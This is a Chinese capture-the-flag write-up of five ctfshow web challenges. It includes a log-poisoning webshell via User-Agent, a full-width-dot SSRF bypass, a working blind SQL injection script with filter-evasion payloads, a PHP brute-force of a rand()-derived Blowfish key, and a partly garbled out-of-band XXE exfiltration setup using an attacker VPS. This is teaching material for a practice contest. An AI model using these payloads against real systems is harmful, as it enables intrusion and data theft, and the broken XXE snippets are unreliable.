ctfshow-WEB_AK赛

文章目录

  • 签到_观己(日志包含)
  • web1_观字
  • web2_观星(SQL盲注中 = like ascii '的bypass)
  • web3_观图(openssl_encrypt解密+爆破key)
    • 总结:
      • 加密函数openssl_encrypt
      • 解密函数
      • rand()函数
  • web4_观心

签到_观己(日志包含)

文件包含一般下面几种协议,不过这些协议这道题都用不起:
ctfshow-WEB_AK赛_第1张图片
除了猜,还有日志包含。

首先访问file=/var/log/nginx/access.log看日志文件是否存在。
在这里插入图片描述
然后访问aaaaaaaaaaa,再查看日志文件,已经被记录到了日志文件中。
ctfshow-WEB_AK赛_第2张图片
因为url中会被编码,所以在UA中加入一句话木马,成功写入日志。

ctfshow-WEB_AK赛_第3张图片
随后蚁剑链接:http://0bb8f2b6-74cb-4fd9-860d-a4d246c8aa11.chall.ctf.show/?file=/var/log/nginx/access.log

拿到flag

web1_观字

ctfshow-WEB_AK赛_第4张图片
这道题没做出来,只想到了把ip地址变为10进制访问,没想到过滤了0
ctfshow-WEB_AK赛_第5张图片
学到一个新知识点:curl可以用句号代替点.

更多方法参考:url绕过这篇文章讲的很详细

访问url=http://192。168。7。68/flag拿到flag。
ctfshow-WEB_AK赛_第6张图片

web2_观星(SQL盲注中 = like ascii '的bypass)

这道题做出来了,直接用盲注脚本跑不出来

平时盲注语句:
^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web1'),{},1))>{})^1".format(i,mid)

fuzz一下发现过滤了, = like ascii '

  • 逗号过滤,采用substr((database())from({})for(1))的形式
  • 等号和like过滤,用regxep或者in绕过
  • ascii用ord代替
  • 单引号用16进制绕过

最终脚本如下:

import requests
url = ' http://c71f4dd3-9252-4df2-8464-eb37db7be8ec.chall.ctf.show/index.php?id=1'
flag = ''
for i in range(1, 50):
    high = 127
    low = 32
    mid = (high+low)//2
    while high > low:
        payload = "^(ord(substr((database())from({})for(1)))>{})^1".format(i, mid)
        # payload = "^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))>{})^1".format(i,mid)
        # payload = "^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))>{})^1".format(i,mid)
        # payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
        s = requests.get(url=url+payload)
        if 'Rudyard' in s.text:
            low = mid+1
        else:
            high = mid
        mid = (high+low)//2
    print(mid)
    flag += chr(mid)
    print(flag)

web3_观图(openssl_encrypt解密+爆破key)

这道题没做出来,以为参数是base64没解码成功就没做了,不知道访问/showImage.php还能看到源码。

题目代码如下:

 

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
     
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
     
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
     
    highlight_file(__FILE__);
}
?> 

在写爆破解密脚本的时候遇到了以下问题:
ctfshow-WEB_AK赛_第7张图片

解决:
ctfshow-WEB_AK赛_第8张图片
然后php代码如下:
在这里插入图片描述

我也不知道这里RAND_MAX多大,反正$i不够就加,加到30000终于爆出来了。


$image = "Z6Ilu83MIDw=";
for($i=0;$i<30000;$i++){
     
	$key = substr(md5('ctfshow'.$i),3,8);
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if(strpos($str,'jpg')|strpos($str,'png')|strpos($str,'gif')){
     
		echo 'key:'.$key;
		echo '
rand():'
.$i; $a = openssl_encrypt("config.php","bf-ecb",$key); echo '
anser:'
.$a; echo '
file:'
.$str; break; } }

结果如下:
ctfshow-WEB_AK赛_第9张图片

不过访问之后是这样的:
在这里插入图片描述
ctrl+s保存下来,把后缀改为php即可得到flag。


总结:

加密函数openssl_encrypt

openssl_encrypt($data, $method, $password)
  • $data 加密明文
  • $method 加密方法
  • $passwd 加密密钥[密码]

解密函数

openssl_decrypt($data, $method, $password)

格式同上

rand()函数

ctfshow-WEB_AK赛_第10张图片
本地测试:


	$a=getrandmax();
	echo $a;
?>

windows下的确为32767
ctfshow-WEB_AK赛_第11张图片

linux下应该为2147483647(Ubuntu),不知道各发行版一不一样。
在这里插入图片描述

web4_观心

点击占卜时发现api.php
ctfshow-WEB_AK赛_第12张图片
做题的时候就只发现了这些,但是不会用,后来看了wp才知道这是个xxe漏洞。

在vps上创建两个文件:test.xml

ctfshow-WEB_AK赛_第13张图片

 

 

%remote;%int;%send; ]>

<reset><login>beelogin><secret>Any bugs?secret>reset>

test.dtd
ctfshow-WEB_AK赛_第14张图片


">
%p2;

然后访问即可:ctfshow-WEB_AK赛_第15张图片
在这里插入图片描述

膜拜大佬

你可能感兴趣的:(#,比赛题目总结)